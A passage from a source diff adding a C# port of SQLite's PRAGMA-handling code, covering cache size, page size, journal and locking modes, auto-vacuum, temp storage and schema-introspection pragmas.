SQLITE_UTF8 ), +new EncName( "UTF-8", SQLITE_UTF8 ),/* Must be element [1] */ +new EncName( "UTF-16le (not supported)", SQLITE_UTF16LE ),/* Must be element [2] */ +new EncName( "UTF-16be (not supported)", SQLITE_UTF16BE ), /* Must be element [3] */ +new EncName( "UTF16le (not supported)", SQLITE_UTF16LE ), +new EncName( "UTF16be (not supported)", SQLITE_UTF16BE ), +new EncName( "UTF-16 (not supported)", 0 ), /* SQLITE_UTF16NATIVE */ +new EncName( "UTF16", 0 ), /* SQLITE_UTF16NATIVE */ +new EncName( null, 0 ) +}; + + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3Pragma( Parse pParse, Token pId1, Token pId2, int null_4, int minusFlag ) + { + sqlite3Pragma( pParse, pId1, pId2, null, minusFlag ); + } + static void sqlite3Pragma( + Parse pParse, + Token pId1, /* First part of [database.]id field */ + Token pId2, /* Second part of [database.]id field, or NULL */ + Token pValue, /* Token for , or NULL */ + int minusFlag /* True if a '-' sign preceded */ + ) + { + string zLeft = null; /* Nul-terminated UTF-8 string */ + string zRight = null; /* Nul-terminated UTF-8 string , or NULL */ + string zDb = null; /* The database name */ + Token pId = new Token();/* Pointer to token */ + int iDb; /* Database index for */ + sqlite3 db = pParse.db; + Db pDb; + Vdbe v = pParse.pVdbe = sqlite3VdbeCreate( db ); + if ( v == null ) + return; + sqlite3VdbeRunOnlyOnce( v ); + pParse.nMem = 2; + + /* Interpret the [database.] part of the pragma statement. iDb is the + ** index of the database this pragma is being applied to in db.aDb[]. */ + iDb = sqlite3TwoPartName( pParse, pId1, pId2, ref pId ); + if ( iDb < 0 ) + return; + pDb = db.aDb[iDb]; + + /* If the temp database has been explicitly named as part of the + ** pragma, make sure it is open. + */ + if ( iDb == 1 && sqlite3OpenTempDatabase( pParse ) != 0 ) + { + return; + } + + zLeft = sqlite3NameFromToken( db, pId ); + if ( zLeft == "" ) + return; + if ( minusFlag != 0 ) + { + zRight = ( pValue == null ) ? "" : sqlite3MPrintf( db, "-%T", pValue ); + } + else + { + zRight = sqlite3NameFromToken( db, pValue ); + } + + Debug.Assert( pId2 != null ); + zDb = pId2.n > 0 ? pDb.zName : null; +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +if ( sqlite3AuthCheck( pParse, SQLITE_PRAGMA, zLeft, zRight, zDb ) ) +{ +goto pragma_out; +} +#endif +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** PRAGMA [database.]default_cache_size +** PRAGMA [database.]default_cache_size=N +** +** The first form reports the current persistent setting for the +** page cache size. The value returned is the maximum number of +** pages in the page cache. The second form sets both the current +** page cache size value and the persistent page cache size value +** stored in the database file. +** +** Older versions of SQLite would set the default cache size to a +** negative number to indicate synchronous=OFF. These days, synchronous +** is always on by default regardless of the sign of the default cache +** size. But continue to take the absolute value of the default cache +** size of historical compatibility. +*/ + if ( zLeft.Equals( "default_cache_size" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + VdbeOpList[] getCacheSize = new VdbeOpList[]{ +new VdbeOpList( OP_Transaction, 0, 0, 0), /* 0 */ +new VdbeOpList( OP_ReadCookie, 0, 1, BTREE_DEFAULT_CACHE_SIZE), /* 1 */ +new VdbeOpList( OP_IfPos, 1, 7, 0), +new VdbeOpList( OP_Integer, 0, 2, 0), +new VdbeOpList( OP_Subtract, 1, 2, 1), +new VdbeOpList( OP_IfPos, 1, 7, 0), +new VdbeOpList( OP_Integer, 0, 1, 0), /* 6 */ +new VdbeOpList( OP_ResultRow, 1, 1, 0), +}; + int addr; + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + sqlite3VdbeUsesBtree( v, iDb ); + if ( null == zRight ) + { + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "cache_size", SQLITE_STATIC ); + pParse.nMem += 2; + addr = sqlite3VdbeAddOpList( v, getCacheSize.Length, getCacheSize ); + sqlite3VdbeChangeP1( v, addr, iDb ); + sqlite3VdbeChangeP1( v, addr + 1, iDb ); + sqlite3VdbeChangeP1( v, addr + 6, SQLITE_DEFAULT_CACHE_SIZE ); + } + else + { + int size = sqlite3AbsInt32(sqlite3Atoi( zRight )); + sqlite3BeginWriteOperation( pParse, 0, iDb ); + sqlite3VdbeAddOp2( v, OP_Integer, size, 1 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_DEFAULT_CACHE_SIZE, 1 ); + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + pDb.pSchema.cache_size = size; + sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); + } + } + else + + /* + ** PRAGMA [database.]page_size + ** PRAGMA [database.]page_size=N + ** + ** The first form reports the current setting for the + ** database page size in bytes. The second form sets the + ** database page size value. The value can only be set if + ** the database has not yet been created. + */ + if ( zLeft.Equals( "page_size" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + Btree pBt = pDb.pBt; + Debug.Assert( pBt != null ); + if ( null == zRight ) + { + int size = ALWAYS( pBt ) ? sqlite3BtreeGetPageSize( pBt ) : 0; + returnSingleInt( pParse, "page_size", size ); + } + else + { + /* Malloc may fail when setting the page-size, as there is an internal + ** buffer that the pager module resizes using sqlite3_realloc(). + */ + db.nextPagesize = sqlite3Atoi( zRight ); + if ( SQLITE_NOMEM == sqlite3BtreeSetPageSize( pBt, db.nextPagesize, -1, 0 ) ) + { + //// db.mallocFailed = 1; + } + } + } + else + + /* + ** PRAGMA [database.]secure_delete + ** PRAGMA [database.]secure_delete=ON/OFF + ** + ** The first form reports the current setting for the + ** secure_delete flag. The second form changes the secure_delete + ** flag setting and reports thenew value. + */ + if ( zLeft.Equals( "secure_delete" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + Btree pBt = pDb.pBt; + int b = -1; + Debug.Assert( pBt != null ); + if ( zRight != null ) + { + b = sqlite3GetBoolean( zRight ); + } + if ( pId2.n == 0 && b >= 0 ) + { + int ii; + for ( ii = 0; ii < db.nDb; ii++ ) + { + sqlite3BtreeSecureDelete( db.aDb[ii].pBt, b ); + } + } + b = sqlite3BtreeSecureDelete( pBt, b ); + returnSingleInt( pParse, "secure_delete", b ); + } + else + /* + ** PRAGMA [database.]max_page_count + ** PRAGMA [database.]max_page_count=N + ** + ** The first form reports the current setting for the + ** maximum number of pages in the database file. The + ** second form attempts to change this setting. Both + ** forms return the current setting. + ** + ** PRAGMA [database.]page_count + ** + ** Return the number of pages in the specified database. + */ + if ( zLeft.Equals( "page_count" ,StringComparison.InvariantCultureIgnoreCase ) + || zLeft.Equals( "max_page_count" ,StringComparison.InvariantCultureIgnoreCase ) + ) + { + int iReg; + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + sqlite3CodeVerifySchema( pParse, iDb ); + iReg = ++pParse.nMem; + if ( zLeft[0] == 'p' ) + { + sqlite3VdbeAddOp2( v, OP_Pagecount, iDb, iReg ); + } + else + { + sqlite3VdbeAddOp3( v, OP_MaxPgcnt, iDb, iReg, sqlite3Atoi( zRight ) ); + } + sqlite3VdbeAddOp2( v, OP_ResultRow, iReg, 1 ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLeft, SQLITE_TRANSIENT ); + } + else + + /* + ** PRAGMA [database.]page_count + ** + ** Return the number of pages in the specified database. + */ + if ( zLeft == "page_count" ) + { + Vdbe _v; + int iReg; + _v = sqlite3GetVdbe( pParse ); + if ( _v == null || sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + sqlite3CodeVerifySchema( pParse, iDb ); + iReg = ++pParse.nMem; + sqlite3VdbeAddOp2( _v, OP_Pagecount, iDb, iReg ); + sqlite3VdbeAddOp2( _v, OP_ResultRow, iReg, 1 ); + sqlite3VdbeSetNumCols( _v, 1 ); + sqlite3VdbeSetColName( _v, 0, COLNAME_NAME, "page_count", SQLITE_STATIC ); + } + else + + /* + ** PRAGMA [database.]locking_mode + ** PRAGMA [database.]locking_mode = (normal|exclusive) + */ + if ( zLeft.Equals( "locking_mode" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + string zRet = "normal"; + int eMode = getLockingMode( zRight ); + + if ( pId2.n == 0 && eMode == PAGER_LOCKINGMODE_QUERY ) + { + /* Simple "PRAGMA locking_mode;" statement. This is a query for + ** the current default locking mode (which may be different to + ** the locking-mode of the main database). + */ + eMode = db.dfltLockMode; + } + else + { + Pager pPager; + if ( pId2.n == 0 ) + { + /* This indicates that no database name was specified as part + ** of the PRAGMA command. In this case the locking-mode must be + ** set on all attached databases, as well as the main db file. + ** + ** Also, the sqlite3.dfltLockMode variable is set so that + ** any subsequently attached databases also use the specified + ** locking mode. + */ + int ii; + Debug.Assert( pDb == db.aDb[0] ); + for ( ii = 2; ii < db.nDb; ii++ ) + { + pPager = sqlite3BtreePager( db.aDb[ii].pBt ); + sqlite3PagerLockingMode( pPager, eMode ); + } + db.dfltLockMode = (u8)eMode; + } + pPager = sqlite3BtreePager( pDb.pBt ); + eMode = sqlite3PagerLockingMode( pPager, eMode ) ? 1 : 0; + } + + Debug.Assert( eMode == PAGER_LOCKINGMODE_NORMAL || eMode == PAGER_LOCKINGMODE_EXCLUSIVE ); + if ( eMode == PAGER_LOCKINGMODE_EXCLUSIVE ) + { + zRet = "exclusive"; + } + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "locking_mode", SQLITE_STATIC ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, zRet, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } + else + /* + ** PRAGMA [database.]journal_mode + ** PRAGMA [database.]journal_mode = + ** (delete|persist|off|truncate|memory|wal|off) + */ + if ( zLeft == "journal_mode" ) + { + int eMode; /* One of the PAGER_JOURNALMODE_XXX symbols */ + int ii; /* Loop counter */ + + /* Force the schema to be loaded on all databases. This cases all + ** database files to be opened and the journal_modes set. */ + if ( sqlite3ReadSchema( pParse ) != 0 ) + { + goto pragma_out; + } + + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "journal_mode", SQLITE_STATIC ); + if ( null == zRight ) + { + /* If there is no "=MODE" part of the pragma, do a query for the + ** current mode */ + eMode = PAGER_JOURNALMODE_QUERY; + } + else + { + string zMode; + int n = sqlite3Strlen30( zRight ); + for ( eMode = 0; ( zMode = sqlite3JournalModename( eMode ) ) != null; eMode++ ) + { + if ( sqlite3StrNICmp( zRight, zMode, n ) == 0 ) + break; + } + if ( null == zMode ) + { + /* If the "=MODE" part does not match any known journal mode, + ** then do a query */ + eMode = PAGER_JOURNALMODE_QUERY; + } + } + if ( eMode == PAGER_JOURNALMODE_QUERY && pId2.n == 0 ) + { + /* Convert "PRAGMA journal_mode" into "PRAGMA main.journal_mode" */ + iDb = 0; + pId2.n = 1; + } + for ( ii = db.nDb - 1; ii >= 0; ii-- ) + { + if ( db.aDb[ii].pBt != null && ( ii == iDb || pId2.n == 0 ) ) + { + sqlite3VdbeUsesBtree( v, ii ); + sqlite3VdbeAddOp3( v, OP_JournalMode, ii, 1, eMode ); + } + } + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } + else + + /* + ** PRAGMA [database.]journal_size_limit + ** PRAGMA [database.]journal_size_limit=N + ** + ** Get or set the size limit on rollback journal files. + */ + if ( zLeft.Equals( "journal_size_limit" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + Pager pPager = sqlite3BtreePager( pDb.pBt ); + i64 iLimit = -2; + if ( !String.IsNullOrEmpty( zRight ) ) + { + sqlite3Atoi64( zRight, ref iLimit, 1000000, SQLITE_UTF8 ); + if ( iLimit < -1 ) + iLimit = -1; + } + iLimit = sqlite3PagerJournalSizeLimit( pPager, iLimit ); + returnSingleInt( pParse, "journal_size_limit", iLimit ); + } + else + +#endif // * SQLITE_OMIT_PAGER_PRAGMAS */ + + /* +** PRAGMA [database.]auto_vacuum +** PRAGMA [database.]auto_vacuum=N +** +** Get or set the value of the database 'auto-vacuum' parameter. +** The value is one of: 0 NONE 1 FULL 2 INCREMENTAL +*/ +#if !SQLITE_OMIT_AUTOVACUUM + if ( zLeft.Equals( "auto_vacuum" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + Btree pBt = pDb.pBt; + Debug.Assert( pBt != null ); + if ( sqlite3ReadSchema( pParse ) != 0 ) + { + goto pragma_out; + } + if ( null == zRight ) + { + int auto_vacuum; + if ( ALWAYS( pBt ) ) + { + auto_vacuum = sqlite3BtreeGetAutoVacuum( pBt ); + } + else + { + auto_vacuum = SQLITE_DEFAULT_AUTOVACUUM; + } + returnSingleInt( pParse, "auto_vacuum", auto_vacuum ); + } + else + { + int eAuto = getAutoVacuum( zRight ); + Debug.Assert( eAuto >= 0 && eAuto <= 2 ); + db.nextAutovac = (u8)eAuto; + if ( ALWAYS( eAuto >= 0 ) ) + { + /* Call SetAutoVacuum() to set initialize the internal auto and + ** incr-vacuum flags. This is required in case this connection + ** creates the database file. It is important that it is created + ** as an auto-vacuum capable db. + */ + int rc = sqlite3BtreeSetAutoVacuum( pBt, eAuto ); + if ( rc == SQLITE_OK && ( eAuto == 1 || eAuto == 2 ) ) + { + /* When setting the auto_vacuum mode to either "full" or + ** "incremental", write the value of meta[6] in the database + ** file. Before writing to meta[6], check that meta[3] indicates + ** that this really is an auto-vacuum capable database. + */ + VdbeOpList[] setMeta6 = new VdbeOpList[] { +new VdbeOpList( OP_Transaction, 0, 1, 0), /* 0 */ +new VdbeOpList( OP_ReadCookie, 0, 1, BTREE_LARGEST_ROOT_PAGE), /* 1 */ +new VdbeOpList( OP_If, 1, 0, 0), /* 2 */ +new VdbeOpList( OP_Halt, SQLITE_OK, OE_Abort, 0), /* 3 */ +new VdbeOpList( OP_Integer, 0, 1, 0), /* 4 */ +new VdbeOpList( OP_SetCookie, 0, BTREE_INCR_VACUUM, 1), /* 5 */ +}; + int iAddr; + iAddr = sqlite3VdbeAddOpList( v, ArraySize( setMeta6 ), setMeta6 ); + sqlite3VdbeChangeP1( v, iAddr, iDb ); + sqlite3VdbeChangeP1( v, iAddr + 1, iDb ); + sqlite3VdbeChangeP2( v, iAddr + 2, iAddr + 4 ); + sqlite3VdbeChangeP1( v, iAddr + 4, eAuto - 1 ); + sqlite3VdbeChangeP1( v, iAddr + 5, iDb ); + sqlite3VdbeUsesBtree( v, iDb ); + } + } + } + } + else +#endif + + /* +** PRAGMA [database.]incremental_vacuum(N) +** +** Do N steps of incremental vacuuming on a database. +*/ +#if !SQLITE_OMIT_AUTOVACUUM + if ( zLeft.Equals( "incremental_vacuum" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + int iLimit = 0, addr; + if ( sqlite3ReadSchema( pParse ) != 0 ) + { + goto pragma_out; + } + if ( zRight == null || !sqlite3GetInt32( zRight, ref iLimit ) || iLimit <= 0 ) + { + iLimit = 0x7fffffff; + } + sqlite3BeginWriteOperation( pParse, 0, iDb ); + sqlite3VdbeAddOp2( v, OP_Integer, iLimit, 1 ); + addr = sqlite3VdbeAddOp1( v, OP_IncrVacuum, iDb ); + sqlite3VdbeAddOp1( v, OP_ResultRow, 1 ); + sqlite3VdbeAddOp2( v, OP_AddImm, 1, -1 ); + sqlite3VdbeAddOp2( v, OP_IfPos, 1, addr ); + sqlite3VdbeJumpHere( v, addr ); + } + else +#endif + +#if !SQLITE_OMIT_PAGER_PRAGMAS + /* +** PRAGMA [database.]cache_size +** PRAGMA [database.]cache_size=N +** +** The first form reports the current local setting for the +** page cache size. The local setting can be different from +** the persistent cache size value that is stored in the database +** file itself. The value returned is the maximum number of +** pages in the page cache. The second form sets the local +** page cache size value. It does not change the persistent +** cache size stored on the disk so the cache size will revert +** to its default value when the database is closed and reopened. +** N should be a positive integer. +*/ + if ( zLeft.Equals( "cache_size" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + if ( null == zRight ) + { + returnSingleInt( pParse, "cache_size", pDb.pSchema.cache_size ); + } + else + { + int size = sqlite3AbsInt32(sqlite3Atoi( zRight )); + pDb.pSchema.cache_size = size; + sqlite3BtreeSetCacheSize( pDb.pBt, pDb.pSchema.cache_size ); + } + } + else + + /* + ** PRAGMA temp_store + ** PRAGMA temp_store = "default"|"memory"|"file" + ** + ** Return or set the local value of the temp_store flag. Changing + ** the local value does not make changes to the disk file and the default + ** value will be restored the next time the database is opened. + ** + ** Note that it is possible for the library compile-time options to + ** override this setting + */ + if ( zLeft.Equals( "temp_store" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + if ( zRight == null ) + { + returnSingleInt( pParse, "temp_store", db.temp_store ); + } + else + { + changeTempStorage( pParse, zRight ); + } + } + else + + /* + ** PRAGMA temp_store_directory + ** PRAGMA temp_store_directory = ""|"directory_name" + ** + ** Return or set the local value of the temp_store_directory flag. Changing + ** the value sets a specific directory to be used for temporary files. + ** Setting to a null string reverts to the default temporary directory search. + ** If temporary directory is changed, then invalidateTempStorage. + ** + */ + if ( zLeft.Equals( "temp_store_directory" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + if ( null == zRight ) + { + if ( sqlite3_temp_directory != "" ) + { + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, + "temp_store_directory", SQLITE_STATIC ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, sqlite3_temp_directory, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); + } + } + else + { +#if !SQLITE_OMIT_WSD + if ( zRight.Length > 0 ) + { + int rc; + int res = 0; + rc = sqlite3OsAccess( db.pVfs, zRight, SQLITE_ACCESS_READWRITE, ref res ); + if ( rc != SQLITE_OK || res == 0 ) + { + sqlite3ErrorMsg( pParse, "not a writable directory" ); + goto pragma_out; + } + } + if ( SQLITE_TEMP_STORE == 0 + || ( SQLITE_TEMP_STORE == 1 && db.temp_store <= 1 ) + || ( SQLITE_TEMP_STORE == 2 && db.temp_store == 1 ) + ) + { + invalidateTempStorage( pParse ); + } + //sqlite3_free( ref sqlite3_temp_directory ); + if ( zRight.Length > 0 ) + { + sqlite3_temp_directory = zRight;//sqlite3_mprintf("%s", zRight); + } + else + { + sqlite3_temp_directory = ""; + } +#endif //* SQLITE_OMIT_WSD */ + } + } + else + +#if !(SQLITE_ENABLE_LOCKING_STYLE) +# if (__APPLE__) +//# define SQLITE_ENABLE_LOCKING_STYLE 1 +# else + //# define SQLITE_ENABLE_LOCKING_STYLE 0 +# endif +#endif +#if SQLITE_ENABLE_LOCKING_STYLE +/* +** PRAGMA [database.]lock_proxy_file +** PRAGMA [database.]lock_proxy_file = ":auto:"|"lock_file_path" +** +** Return or set the value of the lock_proxy_file flag. Changing +** the value sets a specific file to be used for database access locks. +** +*/ +if ( zLeft.Equals( "lock_proxy_file" ,StringComparison.InvariantCultureIgnoreCase ) ) +{ +if ( zRight !="") +{ +Pager pPager = sqlite3BtreePager( pDb.pBt ); +int proxy_file_path = 0; +sqlite3_file pFile = sqlite3PagerFile( pPager ); +sqlite3OsFileControl( pFile, SQLITE_GET_LOCKPROXYFILE, +ref proxy_file_path ); + +if ( proxy_file_path!=0 ) +{ +sqlite3VdbeSetNumCols( v, 1 ); +sqlite3VdbeSetColName( v, 0, COLNAME_NAME, +"lock_proxy_file", SQLITE_STATIC ); +sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, proxy_file_path, 0 ); +sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 ); +} +} +else +{ +Pager pPager = sqlite3BtreePager( pDb.pBt ); +sqlite3_file pFile = sqlite3PagerFile( pPager ); +int res; +int iDummy = 0; +if ( zRight[0]!=0 ) +{ +iDummy = zRight[0]; +res = sqlite3OsFileControl( pFile, SQLITE_SET_LOCKPROXYFILE, +ref iDummy ); +} +else +{ +res = sqlite3OsFileControl( pFile, SQLITE_SET_LOCKPROXYFILE, +ref iDummy ); +} +if ( res != SQLITE_OK ) +{ +sqlite3ErrorMsg( pParse, "failed to set lock proxy file" ); +goto pragma_out; +} +} +} +else +#endif //* SQLITE_ENABLE_LOCKING_STYLE */ + + /* +** PRAGMA [database.]synchronous +** PRAGMA [database.]synchronous=OFF|ON|NORMAL|FULL +** +** Return or set the local value of the synchronous flag. Changing +** the local value does not make changes to the disk file and the +** default value will be restored the next time the database is +** opened. +*/ + if ( zLeft.Equals( "synchronous" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + if ( null == zRight ) + { + returnSingleInt( pParse, "synchronous", pDb.safety_level - 1 ); + } + else + { + if ( 0 == db.autoCommit ) + { + sqlite3ErrorMsg( pParse, + "Safety level may not be changed inside a transaction" ); + } + else + { + pDb.safety_level = (byte)( getSafetyLevel( zRight ) + 1 ); + } + } + } + else +#endif // * SQLITE_OMIT_PAGER_PRAGMAS */ + +#if !SQLITE_OMIT_FLAG_PRAGMAS + if ( flagPragma( pParse, zLeft, zRight ) != 0 ) + { + /* The flagPragma() subroutine also generates any necessary code + ** there is nothing more to do here */ + } + else +#endif // * SQLITE_OMIT_FLAG_PRAGMAS */ + +#if !SQLITE_OMIT_SCHEMA_PRAGMAS + /* +** PRAGMA table_info(
) +** +** Return a single row for each column of the named table. The columns of +** the returned data set are: +** +** cid: Column id (numbered from left to right, starting at 0) +** name: Column name +** type: Column declaration type. +** notnull: True if 'NOT NULL' is part of column declaration +** dflt_value: The default value for the column, if any. +*/ + if ( zLeft.Equals( "table_info" ,StringComparison.InvariantCultureIgnoreCase ) && zRight != null ) + { + Table pTab; + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + pTab = sqlite3FindTable( db, zRight, zDb ); + if ( pTab != null ) + { + int i; + int nHidden = 0; + Column pCol; + sqlite3VdbeSetNumCols( v, 6 ); + pParse.nMem = 6; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "cid", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "type", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 3, COLNAME_NAME, "notnull", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 4, COLNAME_NAME, "dflt_value", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 5, COLNAME_NAME, "pk", SQLITE_STATIC ); + sqlite3ViewGetColumnNames( pParse, pTab ); + for ( i = 0; i < pTab.nCol; i++ )//, pCol++) + { + pCol = pTab.aCol[i]; + if ( IsHiddenColumn( pCol ) ) + { + nHidden++; + continue; + } + sqlite3VdbeAddOp2( v, OP_Integer, i - nHidden, 1 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pCol.zName, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, + pCol.zType != null ? pCol.zType : "", 0 ); + sqlite3VdbeAddOp2( v, OP_Integer, ( pCol.notNull != 0 ? 1 : 0 ), 4 ); + if ( pCol.zDflt != null ) + { + sqlite3VdbeAddOp4( v, OP_String8, 0, 5, 0, pCol.zDflt, 0 ); + } + else + { + sqlite3VdbeAddOp2( v, OP_Null, 0, 5 ); + } + sqlite3VdbeAddOp2( v, OP_Integer, pCol.isPrimKey != 0 ? 1 : 0, 6 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 6 ); + } + } + } + else + + if ( zLeft.Equals( "index_info" ,StringComparison.InvariantCultureIgnoreCase ) && zRight != null ) + { + Index pIdx; + Table pTab; + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + pIdx = sqlite3FindIndex( db, zRight, zDb ); + if ( pIdx != null ) + { + int i; + pTab = pIdx.pTable; + sqlite3VdbeSetNumCols( v, 3 ); + pParse.nMem = 3; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seqno", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "cid", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "name", SQLITE_STATIC ); + for ( i = 0; i < pIdx.nColumn; i++ ) + { + int cnum = pIdx.aiColumn[i]; + sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); + sqlite3VdbeAddOp2( v, OP_Integer, cnum, 2 ); + Debug.Assert( pTab.nCol > cnum ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pTab.aCol[cnum].zName, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); + } + } + } + else + + if ( zLeft.Equals( "index_list" ,StringComparison.InvariantCultureIgnoreCase ) && zRight != null ) + { + Index pIdx; + Table pTab; + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + pTab = sqlite3FindTable( db, zRight, zDb ); + if ( pTab != null ) + { + v = sqlite3GetVdbe( pParse ); + pIdx = pTab.pIndex; + if ( pIdx != null ) + { + int i = 0; + sqlite3VdbeSetNumCols( v, 3 ); + pParse.nMem = 3; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "unique", SQLITE_STATIC ); + while ( pIdx != null ) + { + sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pIdx.zName, 0 ); + sqlite3VdbeAddOp2( v, OP_Integer, ( pIdx.onError != OE_None ) ? 1 : 0, 3 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); + ++i; + pIdx = pIdx.pNext; + } + } + } + } + else + + if ( zLeft.Equals( "database_list" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + int i; + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + sqlite3VdbeSetNumCols( v, 3 ); + pParse.nMem = 3; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "file", SQLITE_STATIC ); + for ( i = 0; i < db.nDb; i++ ) + { + if ( db.aDb[i].pBt == null ) + continue; + Debug.Assert( db.aDb[i].zName != null ); + sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, db.aDb[i].zName, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, + sqlite3BtreeGetFilename( db.aDb[i].pBt ), 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 ); + } + } + else + + if ( zLeft.Equals( "collation_list" ,StringComparison.InvariantCultureIgnoreCase ) ) + { + int i = 0; + HashElem p; + sqlite3VdbeSetNumCols( v, 2 ); + pParse.nMem = 2; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "seq", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "name", SQLITE_STATIC ); + for ( p = db.aCollSeq.first; p != null; p = p.next )//( p = sqliteHashFirst( db.aCollSeq ) ; p; p = sqliteHashNext( p ) ) + { + CollSeq pColl = ( (CollSeq[])p.data )[0];// sqliteHashData( p ); + sqlite3VdbeAddOp2( v, OP_Integer, i++, 1 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pColl.zName, 0 ); + sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 2 ); + } + } + else +#endif // * SQLITE_OMIT_SCHEMA_PRAGMAS */ + +#if !SQLITE_OMIT_FOREIGN_KEY + if ( zLeft.Equals( "foreign_key_list" ,StringComparison.InvariantCultureIgnoreCase ) && zRight != null ) + { + FKey pFK; + Table pTab; + if ( sqlite3ReadSchema( pParse ) != 0 ) + goto pragma_out; + pTab = sqlite3FindTable( db, zRight, zDb ); + if ( pTab != null ) + { + v = sqlite3GetVdbe( pParse ); + pFK = pTab.pFKey; + if ( pFK != null ) + { + int i = 0; + sqlite3VdbeSetNumCols( v, 8 ); + pParse.nMem = 8; + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "id", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 1, COLNAME_NAME, "seq", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 2, COLNAME_NAME, "table", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 3, COLNAME_NAME, "from", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 4, COLNAME_NAME, "to", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 5, COLNAME_NAME, "on_update", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 6, COLNAME_NAME, "on_delete", SQLITE_STATIC ); + sqlite3VdbeSetColName( v, 7, COLNAME_NAME, "match", SQLITE_STATIC ); + while ( pFK != null ) + { + int j; + for ( j = 0; j < pFK.nCol; j++ ) + { + string zCol = pFK.aCol[j].zCol; + string zOnDelete = actionName( pFK.aAction[0] ); + string zOnUpdate = actionName( pFK.aAction[1] ); + sqlite3VdbeAddOp2( v, OP_Integer, i, 1 ); + sqlite3VdbeAddOp2( v, OP_Integer, j, 2 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pFK.zTo, 0 ); + sqlite3VdbeAddOp4( v, OP_String8, 0, 4, 0, + pTab.aCol[pFK.aCol[j].iFrom].zName, 0 ); + 